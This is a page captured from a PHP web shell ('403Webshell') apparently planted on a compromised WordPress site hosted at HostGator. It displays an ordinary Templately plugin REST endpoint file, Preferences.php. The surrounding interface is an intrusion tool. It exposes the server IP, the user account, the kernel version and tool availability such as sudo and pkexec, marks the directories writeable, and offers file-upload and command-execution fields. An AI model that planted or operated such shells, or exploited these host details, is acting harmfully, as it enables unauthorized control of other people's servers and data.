403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/public_html/wp-content/plugins/templately/modules/settings/REST/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/public_html/wp-content/plugins/templately/modules/settings/REST/Preferences.php
<?php

namespace Templately\Modules\Settings\REST;

use Templately\Admin\API\BaseAPI;
use Templately\Modules\Settings\Preferences as PreferencesStore;
use WP_REST_Request;

/**
 * Per-user preference endpoint — separate route from settings/update on purpose:
 * that handler unconditionally writes site options (an empty `siteTitle` blanks
 * `blogname`), so piggybacking a personal pref on it would force callers to
 * resend the whole site-settings payload. It also requires `manage_options`,
 * while a personal UI pref belongs to anyone who can use the editor.
 */
class Preferences extends BaseAPI {
	private $endpoint = 'settings/preferences';

	public function permission_check( WP_REST_Request $request ) {
		$this->request = $request;

		return is_user_logged_in() && current_user_can( 'edit_posts' );
	}

	public function register_routes() {
		$this->post( $this->endpoint, [ $this, 'update_preferences' ] );
	}

	public function update_preferences() {
		$preferences = $this->request->get_param( 'preferences' );

		if ( ! is_array( $preferences ) ) {
			return $this->error(
				'invalid_preferences',
				__( 'No preferences provided.', 'templately' ),
				'settings/preferences',
				400
			);
		}

		return $this->success( [
			'applied' => PreferencesStore::update( $preferences ),
		] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit